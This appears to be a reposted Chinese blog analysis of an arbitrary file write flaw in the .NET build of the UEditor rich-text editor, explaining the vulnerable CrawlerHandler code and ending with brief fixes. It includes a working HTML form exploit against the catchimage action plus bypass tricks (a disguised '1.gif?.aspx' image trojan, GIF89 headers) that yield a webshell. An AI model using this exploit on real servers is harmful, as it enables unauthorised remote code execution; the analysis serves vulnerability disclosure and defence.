1. 程式人生 > >UEditor編輯器兩個版本任意檔案上傳漏洞分析

UEditor編輯器兩個版本任意檔案上傳漏洞分析

0x01 前言

UEditor是由百度WEB前端研發部開發的所見即所得的開源富文字編輯器,具有輕量、可定製、使用者體驗優秀等特點 ,被廣大WEB應用程式所使用;本次爆出的高危漏洞屬於.NET版本,其它的版本暫時不受影響。漏洞成因是在抓取遠端資料來源的時候未對檔案字尾名做驗證導致任意檔案寫入漏洞,黑客利用此漏洞可以在伺服器上執行任意指令,綜合評級高危。由於時間倉促,本文分析不到位的地方還請多多諒解。

0x02 漏洞利用

筆者本地測試的編輯器是百度官方下載最新的版本1.4.3.3 http://ueditor.baidu.com/website/download.html

本地構造一個html,因為不是上傳漏洞所以enctype 不需要指定為multipart/form-data , 之前見到有poc指定了這個值。完整的poc如下

1 <form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
2   <p>shell addr: <input type="text" name="source[]" /></p >
3   <input type="submit" value="Submit" />
4 </form>

需準備一個圖片馬兒,遠端shell地址需要指定副檔名為 1.gif?.aspx

成功返回webshell

 

 

0x03 漏洞分析

在本地IIS中將目錄快速指向到解壓後的目錄,再訪問 controller.ashx 控制器檔案。當出現下圖的時候表示編輯器成功執行。

控制器中存在多個動作的呼叫,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等

這些動作預設情況下都可以遠端訪問,不排除還有新的高危漏洞;這篇文章重點來介紹catchimage這個分支條件,由於它例項化了CrawlerHandler這個類,所以需要跟進這個一般處理程式類

第一行就獲取了外界傳入的source[] 陣列, 核心呼叫位於Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();通過這段lambda表示式來呼叫類裡的方法執行後的結果 ,如下圖跟進Fecth方法體內

首先通過IsExternalIPAddress方法判斷是否是一個可被DNS解析的域名地址,如果不是就終止執行;邏輯程式碼如下

這句判斷就是 1.5.0開發版本(https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs)和官方釋出版本1.4.3.3最大的區別,在1.5.0版本中刪除了此處的判斷,導致在任意一個ip地址或域名下都可以執行exp如下圖

相對來說1.5.0版本更加容易觸發此漏洞;而在1.4.3.3版本中攻擊者需要提供一個正常的域名地址就可以繞過此處判斷;

然後進入第二個條件判斷 : 對檔案ContentType的識別

這段程式碼很眼熟,一般常見於php檔案上傳的時候對檔案頭的判斷,這段程式碼很容易繞過,只需要構造一張圖片馬兒就可以繞過它的判斷,或者構造一個gif89的假圖片也可以繞過;最後編輯器根據配置檔案的資訊建立對應的目錄結構再儲存檔案,程式碼如下

至此RCE漏洞原理大致已經清楚明瞭,期待官方儘快釋出漏洞補丁程式。

0x04 防禦措施

修改CrawlerHandler.cs 增加對副檔名的;IPS等防禦產品可以加入相應的特徵;